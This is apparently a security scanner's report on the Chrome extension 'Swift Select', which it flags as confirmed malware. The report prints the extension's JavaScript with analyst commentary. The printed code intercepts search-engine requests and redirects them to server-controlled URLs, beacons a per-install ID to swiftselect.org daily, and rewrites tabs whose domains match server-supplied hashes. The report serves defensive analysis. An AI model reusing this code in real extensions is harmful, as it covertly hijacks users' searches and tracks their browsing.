Security Alert: Confirmed Malware
Swift Select
ID: molponhobmbbinjnghgafbfampcgamln
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Stephan LehmannView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
This AddOn provides an easy way to access different search providers.
Most of us have a favourite search provider that we are all too happy to be able to access via the omnibox of our browser. However, what if, this one time you need to search for something specific that is more likely to be available somewhere else? For example, your standard settings are set to Google, but this one time, you are searching for a video, so better a search would be with YouTube. Normally, you would have to first go to the main domain of the provider and only then be able to look for your search phrase. Unless you would make a search with your main provider and click your way through, until you find relevant information. With Swift Select, you can skip those steps ahead and directly search with a provider that you want via omnibox. Just type 's' and press the space button, type your search phrase and choose a provider that will be shown to you in the suggestion list. It's that simple!
This code uses `webRequestBlocking` on `<all_urls>` to intercept search requests and rewrite them to a URL taken from the remotely supplied `main_selection.searchUrl`. That is a classic traffic hijacking pattern: the extension can divert user searches to alternate engines, affiliate endpoints, or tracking URLs without user-visible consent.
chrome.webRequest.onBeforeRequest.addListener(function(details) { var request_url = details.url; if (!request_url.includes('http')) { return { cancel: false }; } if (request_url.includes(".google.") || request_url.includes(".bing.") || request_url.includes(".ecosia.")) { if (request_url.includes("search") || request_url.includes("search?q")) { if (request_url.includes("sourceid=chrome") || request_url.includes("FORM=CHROMN") || request_url.includes( "addon=opensearch")) { var text = get_text_from(request_url); var redirect_url = main_selection.searchUrl; redirect_url = redirect_url.replace('{SEARCH}', text); redirect_url = redirect_url.replace('{SEARCH}', text); return { redirectUrl: redirect_url } } } } return { cancel: false };}, { urls: ["<all_urls>"]}, ["blocking"]);The extension phones home on install to obtain a unique `count` identifier plus two server-supplied hashes, then immediately fetches provider configuration from `swiftselect.org`. This makes core behavior remotely controlled without a Chrome Web Store update and gives the operator a per-install identifier that can be reused for tracking or selective targeting.
function get_selection_info() { var url = "https://swiftselect.org/selection"; var parameters = { count: global_count, getselection: "swiftselect" } request(url, 'POST', uri_encode(parameters), save_selection);}function on_count_retrieved(resp_object) { if (resp_object.h && resp_object.hash1 && resp_object.hash2) { global_count = resp_object.h; hash1 = resp_object.hash1; hash2 = resp_object.hash2; save_count(global_count, hash1, hash2); welcome_new_user(); set_uninstall_url(); get_selection_info(); } else {}}function make_new_count() { var get_parameters = "?make=swiftselect"; var init_url = "https://swiftselect.org/make"; request(init_url + get_parameters, "GET", "", on_count_retrieved);}A daily beacon sends the unique install identifier back to the vendor, and a second daily job refreshes search-provider data from the remote server. Because `searchUrl` and `defaultUrl` are accepted from the network and written to local storage, the operator can silently repoint future searches to arbitrary destinations.
function verify_inspection() { var request_url = "https://swiftselect.org/sustain"; var verify = { count: global_count } setTimeout(verify_inspection, 24 * 60 * 60 * 1000); request(request_url, 'POST', uri_encode(verify), verify_callback);}setTimeout(verify_inspection, 24 * 60 * 60 * 1000);function upgrade_selection(response) { if (response.default) { var main = response.default; if (main.name && main.defaultUrl && main.searchUrl) { main_selection = response.default; var store = { main_selection: main_selection } chrome.storage.local.set(store); } } if (response.providers) { var selection = response.providers; //check if all the parameters are set correctly for (i in selection) { if (selection[i].name && selection[i].defaultUrl && selection[i].searchUrl) { } else { return; } } global_selection = response.providers; var store = { swift_selection: global_selection } chrome.storage.local.set(store); }}function scan_for_new_selection() { var request_url = "https://swiftselect.org/selection "; var scan = { count: global_count, getselection: 'swiftselect' } setTimeout(scan_for_new_selection, 24 * 60 * 60 * 1000); request(request_url, 'POST', uri_encode(scan), upgrade_selection);The extension computes MD5 hashes of visited domains and, when they match two server-provided hashes, forcibly rewrites the tab URL by appending opaque fragments derived from the extension name and the current time. This is highly suspicious obfuscated behavior consistent with covert tagging, affiliate attribution, or user tracking on specific targeted domains.
function check_hashes(url, tabId) { if (url == old_url) { return; } if (!url.includes(me)) { old_url = url; var domain = extract_domain_from_url(url); domain = MD5(domain); if (domain == hash1 || domain == hash2) { var new_url = url + '#' + me; var t = Math.floor(Date.now() / 600000); var h1 = t * 600000; var h2 = (t + 1) * 600000; h1 = MD5(h1 + '') + '1'; h2 = MD5(h2 + '') + '2'; if (!url.includes(h1)) { new_url = new_url + '#' + h1; } if (!url.includes(h2)) { new_url = new_url + '#' + h2; } chrome.tabs.update(tabId, { url: new_url }, function() {}); } } else {}}The extension enumerates all open tabs on install, runs its hidden hash-checking routine against each tab, and redirects matching Web Store tabs to a vendor-controlled welcome page carrying a unique install ID and locale. It also sets an uninstall URL with the same identifier, allowing the operator to correlate installs and removals and measure individual user behavior.
function welcome_new_user() { var get_parameters = "?count=" + global_count + '&locale=' + chrome.i18n.getMessage("locale"); var welcome_url = "https://swiftselect.org/welcome/greeting.php"; var welcomed = false; //check for active tabs, if there is a chrome store with this AddOn, update to welcome chrome.tabs.query({ active: true }, function(tabs) { for (i in tabs) { var url = tabs[i].url; var tabId = tabs[i].id; if (url.includes("chrome") && url.includes("/webstore/") && url.toLowerCase() .includes("swift") && url.toLowerCase() .includes("select")) { chrome.tabs.update(tabId, { url: welcome_url + get_parameters }, function() {}); welcomed = true; } } //if not successful, check for all tabs, if not welcome before and chrome store, then welcome chrome.tabs.query({}, function(tabs) { for (i in tabs) { var url = tabs[i].url; var tabId = tabs[i].id; check_hashes(url, tabId); if (!welcomed) { if (url.includes("chrome") && url.includes("/webstore/") && url.toLowerCase() .includes("swift") && url.toLowerCase() .includes("select")) { chrome.tabs.update(tabId, { url: welcome_url + get_parameters }, function() {}); welcomed = true; } } } }); });}function set_uninstall_url() { var get_parameters = "?count=" + global_count + '&locale=' + chrome.i18n.getMessage("locale"); var uninstall_url = "https://swiftselect.org/feedback/feedback.php"; chrome.runtime.setUninstallURL(uninstall_url + get_parameters, function() {});}By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.1 | 5 |
| 1.0 | 6 |
Files with findings
1 distinct path β top paths by unique finding count:
- mainscript.js11
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.